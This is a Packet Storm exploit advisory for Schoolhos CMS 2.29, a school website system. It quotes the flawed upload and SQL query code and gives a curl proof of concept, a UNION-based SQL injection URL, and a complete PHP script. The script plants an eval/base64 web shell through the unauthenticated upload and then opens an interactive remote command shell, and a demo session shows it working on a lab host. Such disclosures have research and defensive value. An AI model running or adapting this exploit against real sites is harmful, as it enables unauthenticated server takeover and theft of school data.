Schoolhos CMS 2.29 Remote Code Execution / SQL Injection

2016-11-14T00:00:00
ID PACKETSTORM:139703
Type packetstorm
Reporter Ahmed Sultan
Modified 2016-11-14T00:00:00

Description

                                        
                                            `<?php  
/*  
Software : Schoolhos CMS 2.29  
Home : http://www.schoolhos.com/  
Author : Ahmed sultan (0x4148)  
Email : 0x4148@gmail.com  
Home : 0x4148.com  
  
Intro  
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.  
  
Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws  
  
I - Remote code execution  
File : process.php  
Line : 42  
elseif ($pilih=='guru' AND $untukdi=='upload'){  
$lokasi_file = $_FILES['fupload']['tmp_name'];  
$nama_file = $_FILES['fupload']['name'];  
UploadMateri($nama_file);  
  
File : file_uplaod.php  
Line : 9  
function UploadMateri($fupload_name){  
//direktori file dari halaman e-elarning  
$vdir_upload = "../file/materi/";  
$vfile_upload = $vdir_upload . $fupload_name;  
  
move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload);  
}  
  
POC  
curl -i -s -k -X 'POST' \  
-H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' \  
--data-binary $'-----------------------------26518470919255\x0d\x0aContent-Disposition: form-data; name=\"fupload\"; filename=\"0x4148.php\"\x0d\x0aContent-Type: application/x-httpd-php\x0d\x0a\x0d\x0a<?php die(\"0x4148 rule\"); ?>\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \  
'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'  
  
php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php  
  
II - Unauthenticated sql injection  
  
File : elearningku/download.php  
Line 6  
$file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");  
$r=mysql_fetch_array($file);  
$filename=$r[file_materi];  
  
header("Content-Type: octet/stream");  
header("Pragma: private");   
header("Expires: 0");  
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");  
header("Cache-Control: private",false);   
header("Content-Type: $ctype");  
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );  
header("Content-Transfer-Encoding: binary");  
header("Content-Length: ".filesize($dir.$filename));  
readfile("$dir$filename");  
  
POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -  
DB version will be showed as filename  
  
Script is really full of injection flaws , mentioning all of it is such waste of time  
  
Full exploitation Demo  
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/  
[*] Schoolhos CMS 2.29 Remote command execution  
[*] Author : Ahmed sultan (0x4148)  
[*] Connect : 0x4148.com | 0x4148@gmail.com  
  
+ Sending payload to http://192.168.0.50/lab/scho/versi_2.29/  
+ Payload sent successfully  
  
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir  
Volume in drive C is OS_Install  
Volume Serial Number is D60F-0795  
  
Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi  
  
11/13/2016 02:03 AM <DIR> .  
11/13/2016 02:03 AM <DIR> ..  
11/13/2016 02:03 AM 47 0x4148.php  
11/30/2011 06:56 PM 8,522 aku.php  
11/29/2011 02:02 AM 74 Alar Reproduksi.rar  
11/29/2011 02:03 AM 74 albert.rar  
11/29/2011 08:25 PM 12,326 ari.png  
11/29/2011 08:27 PM 12,318 ari.rar  
11/29/2011 06:57 PM 74 cerita.rar  
11/29/2011 08:24 PM 0 contoh.txt  
11/29/2011 02:05 AM 74 dos.rar  
11/29/2011 02:01 AM 74 English1.rar  
12/12/2011 11:13 AM 117 index.html  
11/29/2011 02:10 AM 74 kekebalantubuh.rar  
11/29/2011 02:11 AM 74 masa jenis.rar  
11/29/2011 02:14 AM 74 office.rar  
11/29/2011 02:06 AM 74 paragraf.rar  
11/29/2011 02:04 AM 74 pemanasan.rar  
11/29/2011 02:00 AM 74 polakalimat.rar  
11/29/2011 02:15 AM 74 prepare.rar  
11/29/2011 02:13 AM 74 proklamator.rar  
11/29/2011 02:12 AM 74 sea games.rar  
11/29/2011 02:05 AM 74 soekarno.rar  
11/29/2011 02:09 AM 74 speaking.rar  
11/29/2011 02:15 AM 74 ulangan INDO.rar  
11/29/2011 02:11 AM 74 volume.rar  
24 File(s) 34,662 bytes  
2 Dir(s) 38,197,485,568 bytes free  
  
0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit  
  
~0x4148fo#  
  
*/  
$host=$argv[1];  
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";  
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";  
echo "[*] Author : Ahmed sultan (0x4148)\n";  
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";  
echo " + Sending payload to $host\n";  
fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>');  
$x4148upload = curl_init();   
curl_setopt($x4148upload, CURLOPT_URL, $target);  
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");  
curl_setopt($x4148upload, CURLOPT_POST, 1);  
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));  
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);  
$result = curl_exec($x4148upload);  
curl_close($x4148upload);  
$x4148request=curl_init();  
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);  
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");  
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));  
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);  
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);  
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);  
curl_setopt($x4148request, CURLOPT_HEADER, true);   
$outp=curl_exec($x4148request);  
curl_close($x4148request);  
if(!preg_match("#0x4148fo#",$outp)){  
echo " - Failed :(\n";  
die();  
}  
echo " + Payload sent successfully\n\n";  
while(0<1){  
echo "0x4148@$host# ";  
$command=trim(fgets(STDIN));  
if($command=='exit'){  
die();  
}  
$x4148request=curl_init();  
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);  
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");  
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));  
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);  
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);  
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);  
curl_setopt($x4148request, CURLOPT_HEADER, true);   
$outp=curl_exec($x4148request);  
curl_close($x4148request);  
echo explode(">>>>>",$outp)[1]."\n";  
}  
?>  
  
`